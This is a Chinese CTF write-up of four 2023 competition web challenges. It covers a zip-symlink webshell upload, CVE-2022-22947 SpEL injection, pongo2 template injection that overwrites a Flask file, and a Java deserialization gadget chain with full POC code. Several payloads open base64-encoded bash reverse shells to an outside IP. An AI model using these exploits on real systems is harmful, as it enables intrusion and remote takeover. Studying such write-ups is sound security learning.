2023国赛Web题目复现

unzip

软连接的文件上传

随意上传一个文件跳转到

1
2
3
4
5
6
7
8
9
10
 <?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!

给文件解压并放到/tmp目录下,????这我利用个鸡毛啊,后面了解到unzip跟软连接相关

首先单独创建一个文件夹flaa

1
2
3
ln -s /var/www/html link

zip --symlinks link.zip link

然后删除flaa(防止与文件夹重名)这个文件,创建一个名为flaa的文件夹,然后在这个文件夹下写入带马的Php文件(因为之前我们软连接的文件叫做link,所以我们要让这个压缩在这个文件夹下面):

image-20240425155301164

写一句话木马的时候记得加的@防止报错,要不执行不了

image-20240425155928974

BackendService

此题是CVE-2022-22947的漏洞,改了些配置

添加用户,使用添加的用户登录

image-20240425152645425

在配置列表那里新添加一个列表

查看需要添加的信息
查找bootstrap.yml文件发现了backendservice的DataID值:backcfg

image-20240425153531007

下一步就该在nacos配置中心里面新建一个这样的配置让后台服务调用,且必须是json格式的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
"spring": {
"cloud": {
"gateway": {
"routes": [
{
"id": "exam",
"order": 0,
"uri": "lb://service-provider",
"predicates": [
"Path=/echo/**"
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,YmFzaCAtaSAmPiAvZGV2L3RjcC8xMDEuMzQuODAuMTUyLzk5OTkgMDwmMQ==}|{base64,-d}|{bash,-i}\").getInputStream())).replaceAll('\\n','').replaceAll('\\r','')}"
}
}
]
}
]
}
}
}
}

反弹shell就好

go_session

本地启环境伪造session

修改index部分为,记得在前面导入一下fmt包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
message := fmt.Sprintf("Hello, %s", session.Values["name"])
c.String(200, message)
}

然后go run main.go

获取session

1
MTcxNDAzNDU4MHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXwqZQ6bpoG5J5D2uO4Vz2o2P2Rk6AfTYkMoha7QTKovJg==

flask源码可以通过让flask报错获取:flask源码可以通过让flask报错获取:image-20240425165517449本题正确思路如下:

  1. 由于session默认key为空,伪造admin用户后可以调用Admin路由
  2. Admin路由中存在pongo2模板注入漏洞,pongo2模板语法可以参考Django模板语法
  3. 通过Django模板注入覆盖/app/server.py文件,由于python服务是可以“热部署”的,因此覆盖恶意文件后,再通过Flask路由调用即可RCE

再说一下错误思路:

  • 错误思路是利用pongo2模板语法读取算PIN所需的文件,计算出PIN后通过Flask路由请求/console实现RCE,但是想在/console中执行命令仅通过GET传参是无法完成验证的,并且后续执行代码请求都需要携带Cookie验证,所以这条路走不通

伪造session后,接着构造请求包覆盖/app/server.py:

  • 注意name值需要url编码
  • c.HandlerName的值为main/route.Admin,接着用first过滤器获取到的就是m字符,用last过滤器获取到的就是n字符
  • 注意GET请求也是可以使用表单上传文件的
1
2
/admin?name={%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
GET /admin?name=%7B%25set%20form%3Dc.Query(c.HandlerName%7Cfirst)%25%7D%7B%25set%20path%3Dc.Query(c.HandlerName%7Clast)%25%7D%7B%25set%20file%3Dc.FormFile(form)%25%7D%7B%7Bc.SaveUploadedFile(file%2Cpath)%7D%7D&m=file&n=/app/server.py HTTP/1.1
Host: 3323141b-0b61-4725-a130-fe60254bad5c.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Length: 562
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwT9VdDXSgZPm0yn
Cookie: session-name=MTcxNDAzNDU4MHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXwqZQ6bpoG5J5D2uO4Vz2o2P2Rk6AfTYkMoha7QTKovJg==
Connection: close

------WebKitFormBoundaryqwT9VdDXSgZPm0yn
Content-Disposition: form-data; name="file"; filename="server.py"
Content-Type: image/jpeg

from flask import Flask, request
import os
app = Flask(__name__)

@app.route('/')
def index():
name = request.args['name']
res = os.popen(name).read()
return res + " no ssti"


if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True)

------WebKitFormBoundaryqwT9VdDXSgZPm0yn
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryqwT9VdDXSgZPm0yn--

deserbug

题目提示:

1 . cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept

2. jdk8u202

pom.xml

依赖是commons-collections3.2.2

image-20240425183328963

Testapp

image-20240425183433704

本地开启了8888端口,接收bugstr数据进行反序列化

根据一栏的话会想到cc反序列化,但题目中给到的是cc3.2.2版本,cc自3.2.1后添加的checkUnsafeSerialization功能进行反序列化内容进行检测,而cc链长用到的InvokeTransformer就列入了黑名单中,步过题目给出了另一个类Myexpect

Myexpect

其中getAnyexcept定义了newInstance(),能够实例化一个单参数类

image-20240425192043367

结合newInstance可以联想到TrAXFilter,借此实现Templates动态加载恶意字节码

getAnyexcept

结合提示我们最后需要调用getAnyexceptimage-20240425192606955前面说了联想到cc3的TrAXFilter,借用Templates动态加载恶意字节码,至于this.targetclass等参数的值如何控制,我们可以在序列化时用setter来设置

顺着提示向上找cn.hutool.json.JSONObject.put

image-20240425193226736

image-20240425193653836

找到了,这里需要向上找哪里调用了JSONobject,

image-20240425194604110可以看到JsonObject有MapWrapper继承,而MapWrapper有Map接口

往上找的话可借鉴cc6前半段

1
2
3
4
5
6
7
8
9
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()

*/

image-20240425194849486

根据给定的键 key 从映射中获取对应的值。如果映射中已经包含了该键,则直接返回对应的值;如果映射中不包含该键,则通过 factory 对象的 transform 方法生成对应的值,并将键值对添加到映射中,然后返回该值

只要令传入的map为JSONObject即可触发JSONObject#put

而value的值也是我们通过ConstantTransformer可控的,想来这个存入的map的value如果是个对象,必然会获取对象的相关属性信息,相关属性信息何来?大抵是要调getter来拿的(这是从设计角度的简单推理)
所以我们让value为恶意Myexpect对象在逻辑上是合理的

整体就是

  • CC6前段(HashSetHashMapTiedMapEntryLazyMap)
  • 中段JSONObject + Myexpect
  • CC3后段(TrAXFilterTemplatesImpl)

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.example;

import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

import static cn.hutool.core.bean.BeanUtil.setFieldValue;
import static cn.hutool.core.util.SerializeUtil.serialize;

import static com.sun.xml.internal.messaging.saaj.packaging.mime.util.ASCIIUtility.getBytes;

public class POC {
public static void main(String[] args) throws Exception {
byte[] bytes = ClassPool.getDefault().get(evil.class.getName()).toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Q1ngchuan");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[]{Templates.class});
myexpect.setTypearg(new Object[]{templates});

JSONObject jsonObject = new JSONObject();

ConstantTransformer transformer = new ConstantTransformer(1);
Map outerMap = LazyMap.decorate(jsonObject,transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap , "Q1ngchuan");

HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "1");

jsonObject.remove("Q1ngchuan");
setFieldValue(transformer,"iConstant",myexpect);

byte[] serialize = serialize(hashMap);
System.out.println(Base64.getEncoder().encodeToString(serialize));
//unserialize(serialize);
}
}

evil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
static {
try {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzQuODAuMTUyLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

发送反弹shell即可

参考孟哥https://blog.csdn.net/weixin_54902210/article/details/130956079

https://blog.csdn.net/uuzeray/article/details/136748656